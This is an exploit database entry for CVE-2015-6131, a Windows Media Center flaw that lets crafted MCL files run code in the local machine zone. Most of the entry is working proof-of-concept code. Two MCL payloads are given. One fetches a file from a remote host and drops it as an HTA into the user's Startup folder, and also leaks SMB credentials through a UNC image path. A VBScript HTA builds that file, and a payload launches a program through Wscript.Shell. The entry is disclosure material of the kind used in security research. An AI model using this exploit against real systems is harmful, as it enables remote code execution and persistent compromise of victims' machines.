Microsoft Windows Media Center Library - Parsing Remote Code Execution aka 'self-executing' MCL File

EDB-ID:

38911




Platform:

Windows

Date:

2015-12-09


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Title: Microsoft Windows Media Center Library Parsing RCE Vuln aka "self-executing" MCL file (CVE-2015-6131)

Software Vendor: Microsoft

Software version : MS Windows Media Center latest version on any Windows OS.

Software Vendor Homepage: http://www.microsoft.com

CVE: CVE-2015-6131

Exploit Author: Eduardo Braun Prado

Vulnerability oficial discoverer: Zhang YunHai of NSFOCUS Security Team

date: december 8, 2015

Vulnerability description:

Windows Media Center contains a remote code execution vulnerability because it allows "MCL" files to reference themselves as HTML pages, which will be parsed inside Windows Media Center window, in the context of the local machine security zone of Internet Explorer browser. This in turn allows execution of arbitrary code using eg. ADO ActiveX Objects. AKA "self-executing" MCL files.


exploit code below:

----------- self-exec-1.mcl ------------------------------------

<application url="self-exec1.mcl"/><html><script>alert(' I am running in local machine zone which allows arbitrary code execution via, for example, ADO Objects')</script></html>

------------------------------------------------------------

----------self-exec-2.mcl--------------------------------------

<application url="self-exec2.mcl"/><html><b>Use a sniffer software to sniff SMB traffic and retrieve the remote Windows username required for this exploit</b><img src=\\192.168.10.10\smbshare\someimg.jpg></img><script> RecordsetURL='http://192.168.10.10:80/recordsetfile.txt'; var rs = new ActiveXObject('ADODB.recordset'); rs.Open(RecordsetURL); rs.Save('C:/users/windowsuser/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/poc.hta'); rs.Close();
</script></html>
----------------------------------------------------------

-----Create-recordsetfile.hta --------------

<html><body onload="aa()">

<script language="VBScript">

function aa()


defdir="."

alert "This script will retrieve data from ""recordsetdata.txt"" and save it to the current directory as ""recordsetfile.txt"". 




Set c = CreateObject("ADODB.Connection")
co = "Driver={Microsoft Text Driver (*.txt; *.csv)};DefaultDir=" & defdir & ";Extensions=txt;"
c.Open co
set rs =CreateObject("ADODB.Recordset")
rs.Open "SELECT * from recordsetdata.txt", c
al=rs.Save(defdir & "\recordsetfile.txt")
rs.close

end function
</script></body></html>

-------------------------------------------------------------------------------


---------recordsetdata.txt------------------------------------------

<html>
<script>a=new ActiveXObject('Wscript.Shell')</script>
<script>a.Run('calc.exe',1);</script>
</html>
-------------------------------------------------------------------